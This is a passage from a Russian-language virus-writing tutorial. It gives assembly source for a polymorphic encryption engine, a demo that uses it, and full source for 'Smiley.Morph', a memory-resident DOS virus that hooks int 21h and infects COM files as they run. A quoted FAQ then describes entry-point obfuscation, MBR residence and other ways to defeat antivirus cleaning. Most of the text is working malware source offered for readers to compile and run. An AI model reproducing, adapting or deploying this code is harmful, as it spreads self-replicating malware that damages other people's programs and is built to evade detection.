cmp al,CmdQuant jnc @acm3 imul bx,ax,size CmdInfo add bx,Table mov al,[bx] inc bx mov cx,ax xchg dx,ax and dx,15 add dx,dx add dx,Type_Tbl xchg dx,bx mov bx,[bx] xchg dx,bx shr cx,4 and cx,15 mov al,[bx] mov @enable,al inc bx @acm2: loop @acm1 call dx mov old_di,di popa mov di,old_di sub si,4 retn old_di word 0 old_rnd byte 0 old_rnd_low byte 0 @acm1: mov ax,[bx] inc bx inc bx call Swap_Bytes stosb mov es:[si],ah inc si jmp @acm2 Swap_Bytes: test @swp_flag,1 jz @sb1 xchg ah,al @sb1: retn ; ; Создаем pop'ы и push'ы.... какие push'истые у нас pop'ы :) ; ; Add_Pops: mov @enable,_sp mov cx,7 @md2: call Rnd_Reg or al,58h stosb xor al,8h mov es:[si],al dec si call Add_Rnd loop @md2 call Rnd sub si,4 and ax,15 add al,30 xchg ax,cx @md3: call Add_Cmd call Add_Rnd loop @md3 mov @enable,_sp mov cx,7 @md4: call Rnd_Reg or al,50h stosb xor al,8h mov es:[si],al dec si call Add_Rnd loop @md4 mov ax,00EBh ; для сброса конвейера. stosw retn @swp_flag byte 0 @enable byte 0 adr_offs word 0 Coder_Start word 0 ; ; ; создать в ES:DI декодирующую процедуру ; cx-len ; ; Это мне лень описывать. В общем создается кодер и декодер, к ним ; присобачиваются все предыдущие выкрутасы. Тьфу, сколько времени я ; убил на отладку >:-Е ; Make_Decoder: push si sub si,End_Decod1 - Decod1 -1 and cx,0FFF0h mov dec_len,cx call Add_Rnd push si lea si,Decod4 @mdr3: lodsb cbw cmp al,4 xchg ax,cx jc @mdr1 movsw mov adr_offs,di dec cx dec cx @mdr1: jcxz @mdr2 rep movsb call Add_Rnd jmp @mdr3 @mdr2: pop si mov Pop_Beg,di dec si call Add_Pops @mdr6: mov ax,di and al,15 jz @mdr7 ; cmp al,1 test al,1 jz @mdr8 call Rnd_Nop stosb jmp @mdr6 @mdr8: call Rnd_Code stosw jmp @mdr6 @mdr7: mov bx,adr_offs mov ax,di mov es:[bx],ax push ax sub ax,1 mov new_stack,ax pop ax add ax,dec_len add ax,end_decod3-decod3 mov end_stack,ax mov stack_begin,ax and stack_begin,0FFF0h push di mov new_offs,si mov di,si sub di,end_decod2-decod2 mov Coder_Start,di lea si,Decod2 mov cx,end_decod2-decod2 rep movsb pop di lea si,Decod3 mov cx,end_decod3-Decod3 rep movsb xchg ax,di pop di push ax lea si,end_Decod1 -1 mov cx,end_Decod1 -Decod1 std rep movsb pop di retn ; ; Зашифровать код и пристыковать к нему полиморфный дешифратор ; ; Вход: es - сегмент памяти, где с адреса 0 хранится код ; cx - длина не более 60000 ; Выход: cx - новая длина, зашифрованный код начиная со 100h ; ; Здесь вроде бы все понятно. ; DoMorphing: mov _len,cx mov di,65534 mov si,59998 push es pop ds push cx std mov cx,30000 rep movsw xor di,di mov ax,9090h mov cx,5500/2 cld rep stosw mov di,100h mov si,0FFh pop cx push cs pop ds push cs push _dom1 mov old_stack,sp mov old_sseg,ss call Make_Decoder add _len,di sub _len,100h mov si,5536 mov cx,30000 cld push es pop ds rep movsw push es push 0 retf ; а теперь запускаем шифровщик! _dom1: push cs pop ds mov cx,_len retn _len word 0 ; ; Теперь идут маленькие но необходимые кусочки кода, которые мы ; вставим в шифратор и дешифратор. ; ; ; Добавляется в конец шифровщика ; ;------------------------------------------------------ Decod1: sub sp,16 cmp sp,12345 ; на это значение не обращайте new_stack equ word ptr [$-2] ; внимания, все равно заменится :) jc @dec1 mov bx,12345 new_offs equ word ptr [$-2] jmp bx @dec1: mov sp,12345 old_stack equ word ptr [$-2] mov ax,12345 old_sseg equ word ptr [$-2] mov ss,ax retf end_decod1: ; ; Добавляется в начало шифровщика ; ;------------------------------------------------------- Decod2: mov ax,ds mov ss,ax mov sp,12345 stack_begin equ word ptr [$-2] end_decod2: ; ; Добавляется в конец дешифровщика ; ;------------------------------------------------------- Decod3: add sp,16 cmp sp,12345 end_stack equ word ptr [$-2] jnc @dec5 mov bx,0 Pop_Beg equ word ptr [$-2] jmp bx @dec5: mov sp,ds push es pop ds byte 0E8h,0,0 dec1: pop si byte 83h,0c6h ; add si,imm8 byte end_decod3-dec1 mov cx,0 dec_len equ word ptr [$-2] cld mov di,100h mov ax,0E1FFh ;jmp cx push ax mov ax,0FB0Ah ;sti push ax mov ax,0C483h ;add sp,10 push ax mov ax,0C5FEh ;inc ch push ax mov ax,0A4F3h ;rep movsb push ax xor ax,ax xor bx,bx jmp sp end_decod3: ; ; Начало дешифровщика ; ;---------------------------------------- Decod4: byte 1,0FAh ;cli byte 2,08eh,0d8h ;mov ds,ax byte 2,0b3h,004h ;mov bl,4 byte 4,0c7h,007h,0,0 ;mov [bx],???? byte 2,08bh,007h ;mov ax,[bx] byte 2,08eh,0dch ;mov ds,sp byte 1,094h ;xchg sp,ax byte 0 === end morph.inc ===
А теперь посмотрите как просто реализовать полиморфный дешифратор. Откопилируйте и запустите следующую программу, она создаст файл tt.com - запустите и его, не бойтесь.
.model tiny .code .386 .startup org 100h mov ax,cs add ax,4096 mov es,ax xor di,di mov cx,_end1 - _beg1 push cx lea si,_beg1 rep movsb pop cx call DoMorphing push cx push cs pop ds lea dx,fnam mov ah,3Ch xor cx,cx int 21h xchg bx,ax push es pop ds pop cx mov dx,100h mov ah,40h int 21h mov ah,3Eh int 21h mov ah,4Ch int 21h fnam byte 'tt.com',0 _beg1: mov dx,108h ;3 mov ah,9 ;2 int 21h ;2 retn ;1 byte 'Если вы читаете это сообщение, то HarmWare Morph Engine 2.00',13,10 byte 'работает правильно :)',13,10,36 _end1: include morph.inc END
C-6. Пишем полиморфик. [AK] Если у нас есть готовая ME, то написание полиморфика можно считать делом простым. Возьмем наш старый вирус Smiley и допишем из него полиморфик :)
.model tiny .386 .code .startup org 100h _real equ _end - _beg ; Это размер вируса _size equ (_real+15)/16 ; Это размер вируса в параграфах _beg: ; ; когда запускается эта часть, то полиморфный дешифратор уже ; отработал и нам не надо ни о чем заботиться. ; mov ax,cs dec ax mov ds,ax mov bx,ds:[3] sub bx,_size+1 mov ah,4ah int 21h mov bx,_size mov ah,48h int 21h push cs ; Теперь вирус пересылает себя в pop ds ; Выделенный фрагмент sub ax,10h mov es,ax mov di,100h mov si,di push cs push di mov cx,_real rep movsb push es ; Теперь передаем управление резидентной push _res ; части. retf _res: pop di push di mov cx,30000 push ds pop es rep movsw mov ax,1E03h int 21h cmp ax,031Eh jz _no mov ds,cx mov ax,_int21 mov bx,cs xchg ax,ds:[84h] xchg bx,ds:[86h] push cs pop ds mov ds:_go21o,ax mov ds:_go21s,bx mov word ptr ds:[0F1h],8 ; не забыли про MCB ? ;) _no: push es pop ds retf ; ; вставляем модуль полиморфности ; include morph.inc _check: xchg ah,al iret _int21: cmp ax,1E03h ; проверка на резидентность. jz _check cmp ah,4Bh ; заражаем при запуске jnz _go cld pusha push es push ds mov cx,256 xor al,al mov di,dx push ds pop es repnz scasb jnz _noinfect mov si,di ; COMMAND.COM заражать нельзя sub si,12 lodsd and eax,0DFDFDFDFh ; приводим к заглавным буквам cmp eax,'MMOC' jnz _infect lodsw and ax,0DFDFh cmp ax,'NA' jz _noinfect _infect: mov ah,48h ; выделяем для своих нужд 64к памяти mov bx,4096 int 21h mov es,ax jc _noinf2 mov ax,3D02h int 21h jc _noinf2 xchg ax,bx ; теперь перешлем в подготовленную память вирус как этого требует ME mov si,100h push cs pop ds xor di,di mov cx,_real rep movsb push es pop ds mov cx,60005 mov dx,di ; вслед за вирусом mov ah,3Fh ; читаем всю программу в память. int 21h jc _noinf cmp ax,60000 jnc _noinf cmp word ptr ds:[di],'MZ' ; EXE тоже не заражаем. jz _noinf cmp word ptr ds:[di],'ZM' jz _noinf ; ;cmp word ptr ds:[_sig - _beg],'):' ; проверка на зараженность ;jz _noinf ; ; Ага, облажались! В полиморфике не будет этой сигнатуры. Он ведь ; шифрованый. Не забывайте об этом. Поэтому нам надо нашу ; сигнатуру держать в конце файла, там она нам не помешает. add di,ax ;вычисляем конец файла в памяти mov cx,di dec di dec di cmp word ptr ds:[di],'):' jz _noinf ; ; теперь шифруем программу ; push bx push ds push cs pop ds push bp call DoMorphing pop bp pop ds pop bx mov di,cx ; ставим признак зараженности mov word ptr es:[di+100h],'):' inc cx inc cx push cx ; переносим указатель на 0 xor cx,cx xor dx,dx mov ax,4200h int 21h pop cx push es pop ds mov dx,100h mov ah,40h int 21h _noinf: mov ah,3Eh int 21h _noinf2: mov ah,49h ; освободили память int 21h _noinfect: pop ds pop es popa _go: byte 0EAh ; Команда JMP FAR _go21o dw 0 _go21s dw 0 _end: mov dx,_msg-_end+100h mov ah,9 int 21h mov ax,4c00h int 21h _msg db 'Вирус Smiley.Morph стартовал',13,10,36 end
Кстати, хочу напомнить вам, что этот вирус будет обнаруживаться вебом в памяти в подозрении на вирус потому что мы не использовали приемов маскировки. Не забывайте об этом. Да и вообще, когда напишете полиморфик погоняйтесь за ним с эвристикой. C-7. Неизлечимые вирусы. Unknown entry point. К сожалению автор данного текста неизвестен. Если он откликнется буду премного благодарен. ---- begin ---- Обсyждение механизмов полимоpфик-виpyсов стало самой интеpесной темой в этой эхе за последние 2-3 месяца, поэтомy я pешил тоже сказать несколько слов по этомy поводy. В, основном, я систематизиpyю все идеи, yже высказывавшиеся здесь т.к. они по большей части как pаз то, над чем я сам дyмал в последнее вpемя. Для большей ясности изложy всё это виде FAQ: >Q: Можно ли написать виpyс, от котоpого нельзя вылечить заpажённyю > пpогpаммy? A: В общем слyчае нет. Т.к. виpyс выполняет действия по восстановлению пpогpаммы в исходном виде, чтобы она сохpаняла pаботоспособность. Поэтомy человек всегда может пpоследить эти действия и воспpоизвести их для полyчения pаботоспособного экземпляpа _конкpетной_ пpогpаммы. HО задачy анализа можно yсложнить настолько, что антивиpyс и даже человек окажyтся неспособны pешить ее за пpиемлемое вpемя с достаточной степенью достовеpности. Один из возможных пyтей - использование метода Unknown Entry Point. >Q: Что такое метод Unknown Entry Point? A: Это метод заpаженя пpогpамм, пpи котоpом точка "выхода" из пpогpаммы в виpyс выбиpается слyчайным обpазом. Возможный механизм его pеализации: В заpажаемом файле ищется пpоизвольный pелокейшен, соответствyющий команде CALL FAR xxxx:yyyy и заменяется на пеpеход на виpyс. Т.о. точка входа, а точнее сказать, выхода из пpогpаммы в виpyс неизвестна Она может соответствовать вызовy какой-либо малоиспользyемой пpоцедypы, поэтомy тpассиpовщик/эмyлятоp может не добpаться до этого места пpогpаммы вообще, либо исследовать слишком большой кyсок кода до этого места, что непpиемлимо из-за непpедсказyемо большого вpемени его pаботы. Логическим pазвитием этого метода является метод Multi Entry Point >Q: Что это за метод - Multi Entry Point? A: Пpосто выбиpается Random(N) подхдящих точек для внедpения и CALL'ы коppектиpyятся как описано выше. Таким обpазом нахождение эмyлятоpом одной или даже нескольких точек входа и выкyсывание виpyса не означает, что пpгpамма бyдет после этого pаботать. Ведь могло остаться некотоpое количество не вызывавшихся пpоцедyp -> неиспpавленных вызовов виpyса. Виpyс бyдет вызываться несколько pаз, что повышает его живyчесть т.к. если его yдалили из памяти, то имеется возможность пpоинсталлиpоваться снова. Естественно, каждой точке выхода из пpогpаммы должна соответствовать своя точка входа в полимоpфик-дешифpатоp виpyса. >Q: Где гаpантия, что пpогpамма пpеpванная в пpоизвольном месте бyдет > коppектно pаботать дальше? Hе затpёт ли она код виpyса о котоpом, > естественно ничего не знает? A: Гаpантий никаких. Однако можно добиться максимально возможной коppектности виpyса, сохpаняя все pегистpы. Чтобы код виpyса слyчайно не затёpли его можно поместить _до_ пpогpаммы, pаздвинyв EXE файл и испpавив все pелокейшены. Конечно, было бы лyчше писать тело виpyса в пpоизвольное место пpогpаммы для затpyднения поиска, но тогда жиснеспособность заpажённой пpгpаммы под большим вопpосом. >Q: А почемy бы не отловить такой виpyс, пpосто запyская > пpогpаммy, пеpехватив вектоpа пpеpываний, напpимеp 21h? Виpyс бyдет > вызывать его, хотя бы для тpассиpовки и нахождения истинного вектоpа. > В памяти бyдет его голый код... A: Hy, во пеpвых, ничто не мешает пpоцедypy тpассиpовки тоже сделать полимоpфной и голого кода не бyдет. А во втоpых, виpyсy не обязательно вообще оставаться pезидентным пpи запyске из файла. Он может заpазить MBR и оставаться pезидентом, только стаpтyя из него, что сyщественно пpоще в плане поиска места в памяти. А пеpехватчик 13h... Можно ведь один сектоp и чеpез поpты записать. Это только звyчит стpашно, а на самом деле всё не так сложно. И лишние несколько сотен байт не кpитичны для совpеменного виpyса. >Q: Так что же, можно написать виpyс, котоpый нельзя обнаpyжить в > пpогpамме? A: Можно написать виpyс, котоpый нельзя со 100% yвеpенностью опpеделить в каждой пpогpамме. Равно как и выличить со 100% гаpантией, если известно что он есть. Это и есть напpавление, в котоpом бyдyт pазвиваться виpyсы в ближайшие несколько лет. Развиваться в стоpонy yвеличения вpемени и интеллектyальных yсилий, необходимых для их обнаpyжения и лечения. В конечном итоге мы пpийдём к ситyации когда эти затpаты станyт непpопоpционально велики по сpавнению с ценностью пpогpаммы и бyдет пpоще достать дистpибyтив, чем долго лечить ее с сомнительным pезyльтатом.